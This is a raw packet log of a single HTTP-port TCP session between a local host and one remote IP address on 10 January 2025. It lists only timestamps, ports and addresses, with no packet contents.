Jan 10, 2025 22:37:20.901386023 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.901396990 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.901427984 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:20.901427984 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:20.902059078 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.902101994 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.902113914 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.902256012 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.902270079 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.902281046 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.902292967 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:20.902292967 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:20.902295113 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.902951002 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:20.903351068 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:20.925020933 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.925062895 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.925071955 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.925082922 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.925093889 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.925195932 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:20.925195932 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:20.925228119 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.925236940 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.925246954 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.925256968 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.925270081 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.925281048 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.925309896 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:20.925309896 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:20.925672054 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:20.938435078 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.938457012 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.938468933 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.938580036 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:20.979361057 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.979391098 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.979408979 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.979425907 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.979439020 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.979449987 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.979475975 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:20.979537010 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:20.980593920 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.980616093 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.980629921 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.980650902 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:20.980688095 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:20.980715990 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.980729103 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.980789900 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:20.980803967 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.980815887 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.980875015 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.980895996 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.980907917 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.980933905 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:20.980933905 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.013909101 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.013931036 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.013942003 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.013952971 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.013964891 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.013977051 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.014065027 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.014065027 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.014962912 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.014992952 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.015024900 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.015048027 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.015084028 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.015126944 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.015136957 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.015172958 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.015187979 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.015223026 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.015256882 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.015286922 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.015322924 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.015322924 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.015348911 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.015403032 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.015436888 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.015479088 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.015486002 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.015532017 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.015538931 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.015590906 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.015625954 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.015661955 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.015691042 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.015705109 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.015705109 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.015727997 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.015763998 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.015798092 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.015826941 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.015831947 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.015867949 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.015876055 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.015925884 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.015959978 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.015995026 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.016004086 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.016004086 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.016027927 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.016063929 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.016088963 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.016094923 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.016146898 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.016180038 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.016212940 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.016220093 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.016220093 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.016246080 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.016283035 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.016316891 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.016360998 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.016360998 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.016370058 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.016403913 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.016437054 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.016473055 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.016475916 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.016541958 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.016558886 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.016593933 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.016719103 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.016752005 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.016758919 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.016787052 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.016819954 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.016855001 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.016865969 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.016865969 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.016889095 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.016922951 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.016958952 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.016963959 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.016998053 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.017232895 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.019031048 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.019064903 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.019099951 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.019105911 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.019136906 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.019186020 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.019220114 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.019233942 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.019233942 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.019304991 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.019370079 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.019392014 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.019402981 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.019438982 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.019490957 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.019521952 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.019521952 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.019524097 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.019558907 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.019591093 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.019612074 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.019644022 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.019678116 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.019689083 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.019711971 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.019763947 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.019789934 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.019798040 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.019912004 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.019957066 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.019964933 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.020016909 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.020050049 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.020052910 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.020083904 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.020101070 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.020117044 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.020152092 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.020203114 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.020211935 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.020236015 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.020255089 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.020271063 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.020324945 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.020359039 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.020365000 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.020391941 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.020426989 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.020432949 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.020478010 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.020512104 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.020517111 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.020545959 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.020580053 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.020606041 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.020616055 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.020668030 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.020700932 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.020708084 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.020708084 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.020734072 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.020767927 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.020802021 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.020828009 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.020838022 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.020873070 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.020908117 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.020917892 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.020917892 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.021591902 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.065711021 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.065741062 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.065752983 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.065764904 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.065778017 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.065789938 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.065804005 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.065814018 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.065840006 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.065891981 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.066998005 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.067033052 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.067069054 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.067095995 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.067183971 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.067217112 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.067234993 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.067264080 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.067298889 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.067312002 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.067372084 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.067425013 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.067426920 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.067461014 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.067493916 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.067528009 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.067560911 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.067570925 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.067570925 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.067595005 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.067661047 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.101299047 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.101402044 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.101455927 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.101464987 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.101511002 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.101545095 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.101579905 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.101613045 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.101618052 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.101618052 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.101648092 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.101689100 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.101689100 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.101742983 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.101777077 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.101809978 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.101855040 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.101855040 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.101861000 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.101895094 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.101927996 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.101963997 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.101983070 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.102016926 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.102020979 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.102066994 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.102104902 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.102138042 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.102147102 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.102171898 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.102197886 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.102205038 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.102238894 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.102271080 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.102283001 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.102303982 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.102339029 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.102371931 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.102381945 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.102381945 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.102406025 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.102441072 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.102474928 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.102490902 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.102508068 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.102541924 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.102551937 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.102575064 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.102608919 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.102642059 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.102652073 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.102652073 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.102675915 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.102755070 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.102857113 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.102885962 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.102920055 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.102953911 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.102969885 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.102987051 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.103019953 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.103048086 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.103053093 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.103085995 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.103117943 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.103126049 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.103126049 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.103152037 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.103185892 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.103220940 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.103225946 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.103255987 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.103272915 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.103288889 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.103334904 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.103348970 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.103383064 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.103418112 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.103447914 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.103473902 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.103499889 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.103532076 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.103621006 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.103653908 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.103688955 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.103720903 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.103732109 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.103733063 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.103754997 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.103787899 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.103821993 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.103854895 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.103871107 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.103871107 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.104398012 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.104451895 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.104485035 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.104517937 CET	80	49705	193.143.1.205	192.168.2.5
